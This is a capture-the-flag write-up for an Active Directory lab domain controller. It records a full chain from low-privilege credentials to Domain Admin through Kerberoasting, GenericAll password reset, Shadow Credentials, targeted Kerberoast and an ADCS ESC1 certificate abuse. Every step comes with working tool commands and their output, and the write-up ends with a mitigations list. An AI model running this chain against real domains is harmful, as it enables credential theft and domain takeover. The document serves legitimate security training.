> For the complete documentation index, see [llms.txt](https://0xyogesh.gitbook.io/exploitnotes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xyogesh.gitbook.io/exploitnotes/writeups/hacksmarter/arasaka-writeup.md). Agents can also search and read this documentation through its [MCP server](https://0xyogesh.gitbook.io/exploitnotes/~gitbook/mcp).

# Arasaka Writeup

### Summary

Target is a Windows Server 2022 domain controller (`DC01`) for the domain `hacksmarter.local`. Starting from a low-privilege credential pair, the path to Domain Admin runs through Kerberoasting a weak service account password, abusing an excessive `GenericAll` ACL to take over a second user, abusing that user's `GenericWrite` over a third service account to Shadow-Credential and then targeted-Kerberoast it, and finally abusing a misconfigured AD CS certificate template (ESC1) to mint a certificate for the Administrator and reset their password via a certificate-authenticated LDAP shell (the KDC had PKINIT disabled, so straight Kerberos cert-auth was not usable and had to be worked around).

### 1. Recon

```
rustscan -a <MACHINE_IP> --ulimit 5000

Open <MACHINE_IP>:53
Open <MACHINE_IP>:88
Open <MACHINE_IP>:135
Open <MACHINE_IP>:139
Open <MACHINE_IP>:389
Open <MACHINE_IP>:445
Open <MACHINE_IP>:464
Open <MACHINE_IP>:593
Open <MACHINE_IP>:636
Open <MACHINE_IP>:5985
Open <MACHINE_IP>:9389
Open <MACHINE_IP>:49664
Open <MACHINE_IP>:49684
Open <MACHINE_IP>:49669
Open <MACHINE_IP>:49687
Open <MACHINE_IP>:50363
Open <MACHINE_IP>:50387
Open <MACHINE_IP>:50427
Open <MACHINE_IP>:50478
```

```
nmap -sC -sV <MACHINE_IP> -p 53,88,135,139,445,464,593,636,5985,9389,49664,49684,49669,49687,50363,50387,50427,50478 -oN nmap-arasaka

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: hacksmarter.local, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.hacksmarter.local
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0
9389/tcp  open  mc-nmf        .NET Message Framing
...
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
```

Classic AD DC port spread (DNS, Kerberos, LDAP/LDAPS, SMB with signing required, WinRM, AD CS web enrollment components not present but `9389` ADWS is there). Added the host to `/etc/hosts` as `DC01.hacksmarter.local` / `hacksmarter.local`.

### 2. Initial access and enumeration (faraday)

Starting credentials `faraday:hacksmarter123` validated against the domain:

```
nxc smb <MACHINE_IP> -u faraday -p hacksmarter123
SMB <MACHINE_IP> 445 DC01 [+] hacksmarter.local\faraday:hacksmarter123
```

Shares and users enumerated with NetExec:

```
nxc smb <MACHINE_IP> -u faraday -p hacksmarter123 --shares
Share       Permissions   Remark
ADMIN$                    Remote Admin
C$                        Default share
IPC$        READ          Remote IPC
NETLOGON    READ          Logon server share
SYSVOL      READ          Logon server share
```

```
nxc smb <MACHINE_IP> -u faraday -p hacksmarter123 --users
-Username-      -Description-
Administrator   Built-in account for administering the computer/domain
Guest
krbtgt
Goro             Loyal to a fault
alt.svc          Trapped for eternity
Yorinobu
Hanako           Waiting at embers
Faraday
Smasher
Soulkiller.svc   Certificate managment for soulkiller AI
Hellman
kei.svc          Trapped for eternity
Silverhand.svc   Trapped for eternity
Oda
the_emperor
[*] Enumerated 15 local users: HACKSMARTER
```

WinRM with `faraday` failed (valid creds, no remoting rights). LDAP bind succeeded, confirming the account is usable for AD queries. A full BloodHound collection was pulled for later ACL/pathing analysis:

```
bloodhound-python -u faraday -p hacksmarter123 -d hacksmarter.local -dc DC01.hacksmarter.local -ns <MACHINE_IP> -c All --zip
INFO: Found 1 computers
INFO: Found 16 users
INFO: Found 52 groups
```

### 3. Kerberoasting faraday -> alt.svc

`faraday` has enough rights to request service tickets for SPN-bearing accounts:

```
GetUserSPNs.py hacksmarter.local/faraday:hacksmarter123 -dc-ip <MACHINE_IP> -dc-host DC01.hacksmarter.local -request

ServicePrincipalName            Name     PasswordLastSet
AI/blackwall.hacksmarter.local  alt.svc  2025-09-21 20:37:42.894050

$krb5tgs$23$*alt.svc$HACKSMARTER.LOCAL$hacksmarter.local/alt.svc*$<trimmed-tgs-hash>
```

Cracked offline with John and rockyou:

```
john --format=krb5tgs blackwall.hash --wordlist=/usr/share/wordlists/rockyou.txt

babygirl1  (?)
1g 0:00:00:00 DONE
```

```
nxc smb <MACHINE_IP> -u alt.svc -p babygirl1
SMB <MACHINE_IP> 445 DC01 [+] hacksmarter.local\alt.svc:babygirl1
```

### 4. alt.svc -> Yorinobu (GenericAll abuse)

BloodHound showed `alt.svc` holds `GenericAll` over the user `Yorinobu`:

<figure><img src="https://925493422-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpYE2nFwehgWS9IHYp4NS%2Fuploads%2FumKlpnWPOrfhGCb1JfXZ%2Fgeneric-all.png?alt=media&amp;token=696a1da4-fe41-497f-a7e4-49be5b8ac16f" alt=""><figcaption></figcaption></figure>

With `GenericAll`, the account's password can simply be reset:

```
bloodyad --host DC01.hacksmarter.local -d hacksmarter.local -u alt.svc -p babygirl1 set password Yorinobu 'Password123'
[+] Password changed successfully!
```

```
nxc winrm <MACHINE_IP> -u Yorinobu -p Password123
WINRM <MACHINE_IP> 5985 DC01 [+] hacksmarter.local\Yorinobu:Password123 (Pwn3d!)
```

`Yorinobu` has WinRM rights (member of `Remote Management Users`), giving an interactive shell:

```
evil-winrm -i DC01.hacksmarter.local -u Yorinobu -p Password123

*Evil-WinRM* PS C:\Users\Yorinobu\Documents> whoami
hacksmarter\yorinobu
```

`whoami /all` confirmed membership in `Remote Desktop Users`, `Remote Management Users`, `Users`, and `Domain Users` only - no direct local admin or interesting privileges on the box itself, so the path continues through AD rather than local privesc.

### 5. Yorinobu -> Soulkiller.svc (GenericWrite / Shadow Credentials)

BloodHound again showed `Yorinobu` holds `GenericWrite` over `Soulkiller.svc`:

<figure><img src="https://925493422-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpYE2nFwehgWS9IHYp4NS%2Fuploads%2FktXHkcSPvBWFHUXqgVGG%2Fgeneric-write.png?alt=media&amp;token=56357b5a-dd80-4786-858f-d02e1a9f9f0a" alt=""><figcaption></figcaption></figure>

`GenericWrite` on a user allows writing a Shadow Credential (`msDS-KeyCredentialLink`) to get certificate-based auth as that account:

```
pywhisker.py -d "hacksmarter.local" -u "Yorinobu" -p "Password123" --target "soulkiller.svc" --action add

[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: 6REAq5dD.pfx
[*] Must be used with password: <trimmed>
```

Attempting straight Kerberos PKINIT auth with the generated PFX failed - the KDC does not support the required pre-auth type:

```
certipy auth -pfx 6REAq5dD.pfx -password '<trimmed>' -dc-ip <MACHINE_IP> -username soulkiller.svc -domain hacksmarter.local -debug
...
impacket.krb5.kerberosv5.KerberosError: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
```

A second attempt with `bloodyAD`'s shadow-credential U2U flow hit the same PKINIT limitation on the DC. Since certificate-based Kerberos auth was not usable here, the pivot was to directly Kerberoast `Soulkiller.svc` (it carries an SPN too) instead of relying on the shadow cred:

```
targetedKerberoast.py -d hacksmarter.local -u Yorinobu -p Password123 --dc-ip <MACHINE_IP> --request-user Soulkiller.svc

[+] Printing hash for (Soulkiller.svc)
$krb5tgs$23$*Soulkiller.svc$HACKSMARTER.LOCAL$hacksmarter.local/Soulkiller.svc*$<trimmed-tgs-hash>
```

```
john --format=krb5tgs soulkiller-svc.hash --wordlist=/usr/share/wordlists/rockyou.txt

MYpassword123#  (?)
1g 0:00:00:03 DONE
```

Plaintext credentials for `Soulkiller.svc` now in hand.

### 6. Soulkiller.svc -> Domain Admin (ADCS ESC1)

`certipy find` as `Soulkiller.svc` enumerated the CA and templates, flagging one as directly abusable:

```
certipy find -u Soulkiller.svc -p 'MYpassword123#' -dc-ip <MACHINE_IP> -enabled

Certificate Templates
  Template Name          : AI_Takeover
  Enabled                : True
  Client Authentication  : True
  Enrollee Supplies Subject : True
  Certificate Name Flag  : EnrolleeSuppliesSubject
  Enrollment Rights      : HACKSMARTER.LOCAL\Soulkiller.svc
                           HACKSMARTER.LOCAL\Domain Admins
                           HACKSMARTER.LOCAL\Enterprise Admins
  [!] Vulnerabilities
    ESC1 : Enrollee supplies subject and template allows client authentication.
```

`AI_Takeover` is a textbook ESC1: `Soulkiller.svc` can enroll, the template lets the enrollee supply an arbitrary subject/SAN, and the resulting cert is valid for client authentication. Requesting a certificate with the Administrator's UPN:

```
certipy-ad req -u 'soulkiller.svc@hacksmarter.local' -p 'MYpassword123#' -dc-ip <MACHINE_IP> -ca 'hacksmarter-DC01-CA' -target DC01.hacksmarter.local -template 'AI_Takeover' -upn 'administrator@hacksmarter.local'

[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@hacksmarter.local'
[*] Saving certificate and private key to 'administrator.pfx'
```

Straight Kerberos auth with this PFX hit the same KDC limitation as before:

```
certipy auth -pfx administrator.pfx -dc-ip <MACHINE_IP> -debug
...
Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
```

Since PKINIT is unusable on this KDC, the certificate was instead used for an **LDAP Schannel bind** (certificate-authenticated LDAPS, not Kerberos), via Certipy's built-in LDAP shell, to reset the Administrator's password directly:

```
certipy auth -pfx administrator.pfx -dc-ip <MACHINE_IP> -ldap-shell

# change_password administrator NewAdminPass123!
Got User DN: CN=Administrator,CN=Users,DC=hacksmarter,DC=local
Password changed successfully!
```

```
nxc smb <MACHINE_IP> -u administrator -p 'NewAdminPass123!'
SMB <MACHINE_IP> 445 DC01 [+] hacksmarter.local\administrator:NewAdminPass123! (Pwn3d!)
```

### 7. Domain Admin shell and flag

```
evil-winrm -i DC01.hacksmarter.local -u administrator -p 'NewAdminPass123!'

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
hacksmarter\administrator

*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
<REDACTED>
```

### Key Vulnerabilities

| # | Vulnerability                                 | Affected Object                                  | Impact                                                                                                                                                    |
| - | --------------------------------------------- | ------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 1 | Kerberoasting - weak service account password | `alt.svc` (SPN `AI/blackwall.hacksmarter.local`) | Cracked offline, yielded foothold account                                                                                                                 |
| 2 | Excessive ACL - `GenericAll`                  | `alt.svc` -> `Yorinobu`                          | Arbitrary password reset, WinRM access                                                                                                                    |
| 3 | Excessive ACL - `GenericWrite`                | `Yorinobu` -> `Soulkiller.svc`                   | Enabled Shadow Credential write / Kerberoast pivot                                                                                                        |
| 4 | Kerberoasting - weak service account password | `Soulkiller.svc` (SPN)                           | Cracked offline, yielded ADCS-enrollment-capable account                                                                                                  |
| 5 | ADCS ESC1 - misconfigured template            | `AI_Takeover` template on `hacksmarter-DC01-CA`  | `EnrolleeSuppliesSubject` + Client Auth + enrollable by `Soulkiller.svc` allowed impersonating Administrator                                              |
| 6 | PKINIT disabled on KDC                        | Domain-wide                                      | Blocked "clean" cert-to-Kerberos auth, but certificate-authenticated LDAP Schannel bind remained usable as a workaround to reset Administrator's password |

### Attack Chain

```
faraday (initial creds)
  |
  |  Kerberoast SPN AI/blackwall.hacksmarter.local -> cracked (babygirl1)
  v
alt.svc
  |
  |  GenericAll -> reset password
  v
Yorinobu (WinRM access)
  |
  |  GenericWrite -> Shadow Credential attempt (blocked by no-PKINIT)
  |  -> targeted Kerberoast Soulkiller.svc instead -> cracked (MYpassword123#)
  v
Soulkiller.svc
  |
  |  ADCS ESC1 (AI_Takeover template, EnrolleeSuppliesSubject + Client Auth)
  |  -> request cert as administrator@hacksmarter.local
  v
administrator.pfx
  |
  |  PKINIT/Kerberos auth blocked (KDC_ERR_PADATA_TYPE_NOSUPP)
  |  -> Schannel cert-authenticated LDAP bind -> change_password
  v
Administrator (Domain Admin, WinRM) -> root.txt
```

### Mitigations

* Enforce long, random, non-dictionary passwords (or gMSA/managed passwords) for all service accounts to prevent Kerberoasting; monitor for high-volume TGS-REQ activity against SPN accounts.
* Review and remove unnecessary `GenericAll`/`GenericWrite`/other write-ACLs granted from one user to another (`alt.svc` over `Yorinobu`, `Yorinobu` over `Soulkiller.svc`); apply least privilege and tier the AD objects.
* Audit AD CS certificate templates for ESC1-ESC8 style misconfigurations. For `AI_Takeover` specifically: disable `EnrolleeSuppliesSubject`, require manager approval, or restrict enrollment rights so a low-tier service account cannot request a certificate impersonating Administrator.
* Monitor and alert on certificate requests with `-upn`/SAN values corresponding to privileged accounts, and on unusual `msDS-KeyCredentialLink` writes (Shadow Credentials).
* If PKINIT is intentionally disabled, be aware that certificate-authenticated LDAP (Schannel) binds remain a viable attack path for password changes - restrict `Enroll` rights and monitor Schannel LDAP binds from certificates tied to non-standard templates.
* Enable PKINIT support consistently or restrict certificate usage to the intended auth mechanism only, so stolen/forged certificates cannot be used through an alternate (LDAP) channel as a bypass.
